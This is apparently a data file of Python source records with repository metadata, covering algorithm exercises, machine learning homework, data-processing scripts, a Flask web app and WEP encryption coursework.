fe63ad8a9dac63d143b96a2f418c78ee7ee00817 | Python | gsrr/leetcode | /geekforgeek/Find minimum s-t cut in a flow network.py | UTF-8 | 2,865 | 2.96875 | 3 | [] | no_license | #code
import copy
def bfs(graph, parent, source , sink):
q = [source]
hist = [0] * len(graph)
while len(q) != 0:
u = q.pop(0)
for v in range(len(graph[u])):
if graph[u][v] > 0:
if hist[v] == 0:
parent[v] = u
q.append(v)
... | true |
14136848616724f39f51c320ea9dacaa38302683 | Python | fnielsen/audiopen | /examples/gender_pitches.py | UTF-8 | 2,217 | 2.984375 | 3 | [] | no_license | #!/usr/bin/env python
"""gender_pitches.py
Shows median pitch for the files in the gendervoice dataset.
"""
from __future__ import division, print_function
import wave
import pandas as pd
import numpy as np
import seaborn as sns
from matplotlib.pyplot import *
import audiopen.gendervoice
# Load metadata, and... | true |
c43c040eb605f0cec22c3f4ab45aaf4eea7470ce | Python | NancyFan96/homework | /hw1/behavioral_cloning.py | UTF-8 | 1,545 | 2.78125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python
"""
Code to clone an expert policy and generate behavioral cloning policy for furture use.
Example usage:
python behavioral_cloning.py expert_data/Humanoid-v2.pkl Humanoid-v2
Author: Naijai Fan
"""
import os
import tensorflow as tf
from tensorflow import keras
import load_expert
def _clon... | true |
c3e733068b1b618f2c36e4c32cacbf784c53c4f2 | Python | Tommimon/advent-of-code-2020 | /marcomole00/06/6.py | UTF-8 | 1,073 | 2.9375 | 3 | [
"MIT"
] | permissive | check = []
group = []
sum = 0
ao = 0
def checkGroup(group):
first = group[0]
print(first)
if len(group) == 1: return len(first)
group = group[1:]
nOfAnswerEverybodyInAGroupAnswered =0
for ans in first:
obama = False
for children in group:
if ans in children:
... | true |
872f3fbb8ac217b345f490c707ccc057044dea54 | Python | dakcicek/disaster_response | /data/process_data.py | UTF-8 | 3,451 | 3.65625 | 4 | [
"MIT"
] | permissive | # import necessary packages
import sys
import pandas as pd
from sqlalchemy import create_engine
def load_data(messages_filepath, categories_filepath):
"""
This function loads two data from given csv files and returns a merged Pandas Dataframe
Input:
messages_filepath: messages csv file
cate... | true |
31a4638f0a20c8d585961694cb603bd927a7fc49 | Python | Kawser-nerd/CLCDSA | /Source Codes/AtCoder/arc086/B/2254503.py | UTF-8 | 703 | 3.125 | 3 | [] | no_license | N = int(input())
A = list(map(int, input().split()))
max_index = 1
max_abs = abs(A[0])
if A[0] >= 0:
pos = True
else:
pos = False
for i in range(1, N):
if max_abs < abs(A[i]):
max_abs = abs(A[i])
max_index = i + 1
if A[i] >= 0:
pos = True
else:
... | true |
6d16ebd3b6e96b3598146cd0f763a34391fa355d | Python | lexsteens/bd_benchmark | /generate_datasets.py | UTF-8 | 1,196 | 2.859375 | 3 | [] | no_license | import uuid
import random
import string
import os
import utils
def generate_datasets(n_ids=1000, min_card_left=1, max_card_left=10, min_card_right=1, max_card_right=10, fill_size=128):
filename_left = utils.generate_input_filename(n_ids, min_card_left, max_card_left, fill_size, "left")
filename_right = utils.... | true |
b326b4d7f6782b2a80bf5460bf2c1ec30d873f2e | Python | ElioenaiFerrari/organize_pictures | /lib/models/organizer_model.py | UTF-8 | 1,127 | 2.859375 | 3 | [] | no_license | from PIL import Image
from datetime import datetime
import os
import shutil
class OrganizerModel:
extensions = [
'jpg',
'jpeg',
'png',
'JPG',
'JPEG',
'PNG'
]
def move_photo(self, file):
new_folder = self.get_photo_path(file)
if not os.path.e... | true |
af05e7f57d4011f19b74d4f9560815c077433a08 | Python | ioemilio/GoogleHashCode2018 | /random.py | UTF-8 | 785 | 3.03125 | 3 | [] | no_license | from collections import defaultdict
import random
# PARAMS
filename = "e_high_bonus"
input_file = "inputs/"+filename+".in"
# READ INPUT
with open(input_file) as fin:
R, C, F, N, B, T = [int(x) for x in fin.readline().split()]
rides = []
for n in range(N):
a, b, x, y, s, f = [int(x) for x in fin.re... | true |
27983044276d6a0095bb7abb2460d0418253d75e | Python | blackplusy/0801 | /例子-0822.01.变量的作用域.py | UTF-8 | 669 | 3.6875 | 4 | [] | no_license | #coding=utf-8
#局部变量
'''
def test1():
a=10
print('修改前a的值是',a)
a=20
print('修改后a的值是',a)
def test():
a=40
print('我是test中的a',a)
test1()
test()
'''
#全局变量
'''
a=100
print('a的值是:',a)
def test1():
a=20
print('test1中a的值是',a)
def test2():
print('test2中a的值是',a)
... | true |
5fab7ef1e8162123695235345438710207fb32b7 | Python | brianbruggeman/ideal_gas_law | /web/flask/app/calculator.py | UTF-8 | 1,052 | 3.28125 | 3 | [
"Apache-2.0"
] | permissive | #!/usr/bin/env python
def calculate_ideal_gas(data, gas_constant=8.315):
'''Calculates the ideal gas based on the missing value
Formula:
T = p * V / R
'''
# find the missing key
fields = ['pressure', 'volume', 'temperature']
missing_key = None
for key in fields:
if key not ... | true |
2a9008f5ad44f17f92f20acda051caec989e0f2e | Python | jannikbusse/Notes | /src/client/parser.py | UTF-8 | 138 | 2.546875 | 3 | [] | no_license |
def parse_note(note): #improve parsing!
l = note.split(":")
if len(l) > 1:
return l[1], l[0]
return l[0], "general" | true |
bedd0b1e8719e7fdd6e6788261dfaa1155eea0ab | Python | qianwenluo/biosys-analytics | /assignments/09-grad-swissprot/test.py | UTF-8 | 2,679 | 2.609375 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
"""tests for swiss.py"""
import csv
import hashlib
import os
import random
import re
import string
from subprocess import getstatusoutput, getoutput
from random import shuffle
from Bio import SeqIO
prg = './swisstake.py'
# --------------------------------------------------
def random_filename... | true |
7e5b0553266f083dc3b1a5397f539b85708a0fa5 | Python | papsdroidfr/IACartPole | /IACartPole_v2.1.py | UTF-8 | 18,835 | 3.140625 | 3 | [] | no_license | #!/usr/bin/env python3
#############################################################################
# Filename : IACartPole.py
# Description : maintenir un bâton en équilibre (cartPole) avec Intelligence Artificielle
# Author : papsdroid.fr
# modification: 2019/11/14
#
# CARTPOLE V2.1: gestion des rewards en i... | true |
19f729f8848d74dced1b27dff31216e4db77723a | Python | Adarsh-Liju/Python-Course | /Clear Bit.py | UTF-8 | 387 | 4.25 | 4 | [] | no_license | a=int(input("Enter a Number"))#inputing value
if((a&1)==1): #checcking whether the number has LSB
print("LSB is present")#displayed if LSB is there
new_a=a&(a-1)#removing the LSB
print("The number after clearing LSB :",new_a)#printing the new value of number after clearing LSB
else:
print("LSB is... | true |
72ad7f8ea5e19e51d2e7843aee1ab6ba2e4900ec | Python | frankfanslc/ML-003-SMS-Spam-Detector | /data/sms_data_to_csv.py | UTF-8 | 1,016 | 3.046875 | 3 | [] | no_license | #!/usr/bin/env python3.5
# -*- coding: utf-8 -*-
import os
import pandas as pd
spam_file = '00_SMSSpamCollection'
if not os.path.isfile(spam_file):
print(spam_file, ' is missing.')
exit()
spam_list = []
spam = 'spam'
ham = 'ham'
with open(spam_file, encoding='utf-8') as fp:
spam_lines = fp.readlines(... | true |
8a1c40b98575e7cd9cb797d18f355e24c78c5ee0 | Python | Webrow/aoc2020 | /5/5.py | UTF-8 | 542 | 3.390625 | 3 | [] | no_license | import sys
translation = str.maketrans('FBLR', '0101')
def parse(puzzle):
spots = []
for line in puzzle:
spots.append(int(line.translate(translation), 2))
return spots
spots = parse(sys.stdin)
def solution1(spotlist):
low, high = min(spotlist), max(spotlist)
print("Highest seatID fou... | true |
d040f366647b07d99cb36b2e7e1e6137bff794b8 | Python | mrstask/Asyncio-Website-Downloader | /json_hanlder.py | UTF-8 | 1,595 | 2.59375 | 3 | [] | no_license | import aiohttp
import asyncio
import os
import html
import re
import json
import codecs
from pprint import pprint
from urllib.parse import unquote
from base_handler_class import BaseHandler
start_link = ['http://megamillions.com.ua/wp-json/oembed/1.0/embed?url=http://megamillions.com.ua/', 'json']
class JsonHandler... | true |
bf837033d87d6fc86681c4537141d42ca0952337 | Python | aaronjau101/Outside-Lands-Theralyst | /scripts/main.py | UTF-8 | 421 | 3.0625 | 3 | [
"MIT"
] | permissive | #@title Main
#@author Aaron Jauregui
#@description Run files in order
import artistFrequency
import genreFinder
import genreCounter
import time
def main():
print("Initiating Programs")
start_time = time.time()
artistFrequency.main()
genreFinder.main()
genreCounter.main()
... | true |
d09e7015d2650f6c50e81f9fee18d946a5c9aec7 | Python | oWhereabouts/helper_scripts | /python3/move_tiff.py | UTF-8 | 542 | 2.71875 | 3 | [] | no_license | import os
from shutil import copyfile
rootdir = '/folder/with_tiffs'
fontdir = '/save_location'
if not os.path.isdir(fontdir):
os.mkdir(fontdir)
extensions = ('.tif', '.tfw')
for subdir, dirs, files in os.walk(rootdir):
for file in files:
ext = os.path.splitext(file)[-1].lower()
if ext in e... | true |
332b034113a37d5f8c813af52962ee4278104d7e | Python | jmenglund/pandas-validation | /test_pandasvalidation.py | UTF-8 | 9,809 | 2.578125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import warnings
import pytest
import numpy
import pandas
from pandas.util.testing import assert_series_equal, assert_frame_equal
from pandasvalidation import (
ValidationWarning,
_datetime_to_string,
_numeric_to_string,
_get_return_object... | true |
e4da48f0c3f391679a95ba8bad1736a75194763f | Python | donfanning/twcloud | /twcloud/twcloud.py | UTF-8 | 2,850 | 2.890625 | 3 | [
"MIT"
] | permissive | import twint
from stylecloud import gen_stylecloud
from wordcloud import STOPWORDS
import re
import fire
def clean_tweet(tweet):
"""
Cleans the tweet text of URLs, user tags, hashtags, pictures,
and smart punctuation.
Whitespace does not need to be normalized since it is ignored
anyways when gene... | true |
f7feafd9cb3b902b410476abd1dc55902387a4d3 | Python | Naludrag/HEIGVD-SWI21-Labo1-WEP | /files/manual-encryption.py | UTF-8 | 1,704 | 2.796875 | 3 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Manually encrypt a wep message given the WEP key"""
__author__ = "Robin Müller and Stéphane Teixeira Carvalho"
__copyright__ = "Copyright 2021, HEIG-VD"
__license__ = "GPL"
__version__ = "1.0"
__status__ = "Prototype"
from scapy.all import *
from rc4 impor... | true |
280a2e65f45fa8ba7cbe58dcad223951bb2be9fc | Python | zpc199626/python | /day_1/对文件的操作.py | UTF-8 | 4,545 | 3.671875 | 4 | [] | no_license | # /usr/bin/env python
# -*- coding : utf-8 -*-
import random
import os
#对文件的操作 : open() 函数
# 格式 open('文件名','权限','编码方式')
# '文件名' :如果不加路径,表示的是当前目录下的文件。如果此目录下有这个文件,那么就操作这个文件,如果没有就创建。
# 如果有路径的话,要在路径上加上一个双斜杠,表示不转义或者在路径前边加 r
# 权限 :指的是代码对文件的操作权限;
# w:写 r:读 a:追加 w+:写 读 r+:读 写 a+:追加 读 wb: rb: ab:以字节码的... | true |
f777395148216eb279a6b9bd8964087723e6f316 | Python | alonweissfeld/machine-learning-idc | /hw5/hw5/hw5.py | UTF-8 | 8,827 | 3.078125 | 3 | [] | no_license | from numpy import count_nonzero, logical_and, logical_or, concatenate, mean, array_split, poly1d, polyfit, array
from numpy.random import permutation
import pandas as pd
from sklearn.svm import SVC
import matplotlib.pyplot as plt
SVM_DEFAULT_DEGREE = 3
SVM_DEFAULT_GAMMA = 'auto'
SVM_DEFAULT_C = 1.0
ALPHA = 1.5
def ... | true |
3e0253004641d295bd6075cff7e53730123d5fea | Python | blackfluence/JustForFun | /深澜客户端断线重连/process.py | UTF-8 | 3,215 | 2.71875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
import io
conv_path = "dgk_shooter_min.conv"
ask_file_path = "ask.conv"
answer_file_path = "answer.conv"
def gen_ask_ans(conv_path, ask_file_path, answer_file_path):
convs = [] # conversation set
with io.open(conv_path, encoding="utf8") as f:
one_conv = [] # a complete conver... | true |
f29f647ff25a6be0d756824c16f8de41b7554a96 | Python | danlmarmot/pyAPS | /pyAPSWithMongo.py | UTF-8 | 2,864 | 2.78125 | 3 | [] | no_license | from __future__ import print_function
import os
import time
from datetime import datetime
from apscheduler.scheduler import Scheduler
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure, DuplicateKeyError
from multiprocessing import Process, Queue
class settings:
pass
settings.MONGO_H... | true |
04edb9153a077175751639d1ee7d1d3adc4874e3 | Python | rabiatuylek/Python | /ornekss.py | UTF-8 | 566 | 3.4375 | 3 | [] | no_license |
# BU SAYFA BREAK METODU
#while True: # sonsuz dongu , sonsuza kadar devam edicek. devamlı calısma sürecek.
# sifre = input("lutfen sifre gir:")
# if not sifre:
# pass
# elif len(sifre) in range(3,8):
# print("yeni sifremiz:",sifre)
# break
# else:
# print("sifre 3 ile 8 karakt... | true |
c08be68549c2e9fd0715c80a7fee9f00f697dda4 | Python | rnaster/Today-I-Learned | /2018/1801/180125.py | UTF-8 | 718 | 2.75 | 3 | [] | no_license | # BOJ - 2667
n = int(input())
MAP = []
cache = [[1 for _ in range(n)] for _ in range(n)]
for _ in range(n):
MAP.append(input())
q = []
ans = []
def BFS():
global q, MAP, cache, ans
ans.append(0)
while q:
a, b = q.pop(0)
for x, y in ((0, 1), (-1, 0), (0, -1), (1, 0)):
if 0 <= a+x < n and 0<= b+y < n:
if... | true |
882d48c28eec38aa462340c5f11d4e7b53c931a1 | Python | bruceSz/int50-python | /40/countPathNumber.py | UTF-8 | 827 | 3.1875 | 3 | [] | no_license | import array
def countPathNumber(grid,n,m,blocked):
visited = array.array('b',(0 for i in range(n*m)))
for i in range(n):
for j in range(m):
if blocked[i][j]:
visited[i*m+j]=1
return doCountPathNumber(grid,n,m,visited,0,0):
def generateNext(n,m,visited,row,column):
... | true |
e4ec2be3afbb2730dba806966febb84ee77e82e8 | Python | atlas-61/Python-Beginner | /Pandas/dataFrame.py | UTF-8 | 877 | 3.71875 | 4 | [] | no_license | # -*- coding: utf-8 -*-
import pandas as pd
import numpy as np
data = [10,20,30,40,50]
df = pd.DataFrame(data)
print(df)
data2 = [["Charles", 22, "Monaco"], ["Ryan", 54, "Rapture"],
["Karina", 39, "Kiev"]]
df2 = pd.DataFrame(data2, columns = ["Name", "Age", "Location"],
index = ["1.Person",... | true |
c6cb699941a9bb749f287d05ddf0eaa328619211 | Python | kendalalbarran1/primitives | /talal.py | UTF-8 | 1,413 | 2.796875 | 3 | [] | no_license | def ParseNetDev(file):
lines = open(file, "r").readlines()
columnLine = lines[1]
_, receiveCols , transmitCols = columnLine.split("|")
receiveCols = map(lambda a:"recv_"+a, receiveCols.split())
transmitCols = map(lambda a:"trans_"+a, transmitCols.split())
cols = receiveCols+transmitCols
fa... | true |
669e04428f18da258864cbe2e8b9b29e14854474 | Python | DanNixon/RaspberryPiBlueprints | /10-BeerBottleXylophone/bottle_xylophone_webapp/bottle_xylophone.py | UTF-8 | 3,454 | 2.578125 | 3 | [] | no_license | # -*- coding: utf-8 -*-
import os, logging
from flask import Flask, render_template, request, flash, redirect, url_for
from werkzeug import secure_filename
from player import MIDIPlayer
app = Flask(__name__)
# Load default config and override config from an environment variable
app.config.update(dict(
DEBUG=Tru... | true |
a6aa8f663797208501100bd314a8979992c339b0 | Python | AK-1121/code_extraction | /python/python_7447.py | UTF-8 | 167 | 2.546875 | 3 | [] | no_license | # Python raw_input following sys.stdin.read() throws EOFError
message = sys.stdin.read()
sys.stdin = open('/dev/tty')
selected_index = raw_input('Which URL to open?')
| true |